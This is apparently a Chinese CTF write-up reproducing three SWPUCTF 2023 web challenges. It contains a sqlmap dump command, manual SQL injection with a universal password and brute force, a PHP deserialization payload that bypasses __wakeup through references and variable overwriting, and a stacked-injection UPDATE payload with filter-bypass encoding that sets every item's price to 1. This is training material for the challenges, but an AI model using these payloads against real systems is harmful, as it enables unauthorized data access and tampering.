[SWPUCTF 2023 秋季新生赛] WEB 部分题目复现

14 篇文章 0 订阅
1 篇文章 0 订阅

[SWPUCTF 2023 秋季新生赛] WEB 部分题目复现

之前的几道题都不难 很基础 复现一下没做出来的

查查need

源码提示万能密码,然后给了一个excel表格,当时也进行了FUZZ测试 但没有在学号那里进行fuzz测试导致后边没做出来 以为就是输入个万能密码  ,然后对名字进行爆破,但不知道学号是个啥 以为随便输 只能说sqli经验太少了 我们开始复现

1.kali一键启动 sqlmap一把梭

首先抓包改为sql.txt文件

然后一把锁(flag在grade里)

sqlmap -r "sql.txt" -D school -T students -C grade --dump

2.手动注入

在学号输入1”发现注入点

且闭合点就为”

使用万能密钥居然得出了该学生的成绩

那么flag就藏在某个学生里面了 直接把他的学生名单作为1.txt 直接bp爆破名字就行


得到付赖格

backup

这道题提示了备份文件泄露 我们直接dirsearch扫描得到了一个www.zip文件 得到源码

<?php

error_reporting(0);

require_once("flag.php");



class popmart{

    public $yuki;

    public $molly;

    public $dimoo;



    public function __construct(){

        $this->yuki='tell me where';

        $this->molly='dont_tell_you';

        $this->dimoo="you_can_guess";

    }



    public function __wakeup(){

        global $flag;

        global $where_you_go;

        $this->yuki=$where_you_go;



        if($this->molly === $this->yuki){

            echo $flag;

        }

    }

}



$pucky = $_GET['wq'];

if(isset($pucky)){

    if($pucky==="二仙桥"){  

        extract($_POST);

        if($pucky==="二仙桥"){    

            die("<script>window.alert('说说看,你要去哪??');</script>");

        }

        unserialize($pucky);

    }

}

代码审计:代码很简单 就是找出口

值相等就能获得flag 但wakeup魔术方法已经给yuki赋值 所以就要绕过wakeup(),直接采用引用绕过就行了

代码:

<?php
class popmart{
    public $yuki;
    public $molly;
    public $dimoo;
}

$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);

Payload:O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序

我们采用变量覆盖就行了(当时就是这里没搞懂传参 看来变量覆盖这里要好好看一下)

Payload:

GET:?wq=二仙桥

POST:pucky=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}

得到flag

NSS大卖场

当时感觉跟jwt有关 然后做了好久没醉出来,但有人提示说是堆叠注入 然后看了wp之后也确实如此 

都谈到了jwt了 都给个在线jwt 解码

JSON Web Tokens - jwt.io

 回到本题

hint里面有个数据库备份 其实这里的时候就的考虑到本题可能是注入 但找不到注入点 然后看了wp才发现注入点居然这样子

先分析一下备份文件

可知items表存的是这些物品,price字段为价格 然后就是找注入点 我们随便购买一个抓包得到URL

注入点就是为这个1,然后测试发现普通的联合注入和报错也不是 sqlmap也跑不出 这时候就涉及到了堆叠注入了

我们测试:1';UPDATE items SET price=1;# 

得到

 过滤了UPDATE和空格,采用编码绕过和大小写绕过

Payload:/buy/1';UPdATE%09items%09SeT%09price=1;#  

 这里也就是把价格都设置为1 了 items是由上边hint里面的备份文件得到的

购买FLAG并前往背包查看即可 

 本题参考  Krimy师傅的题解

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值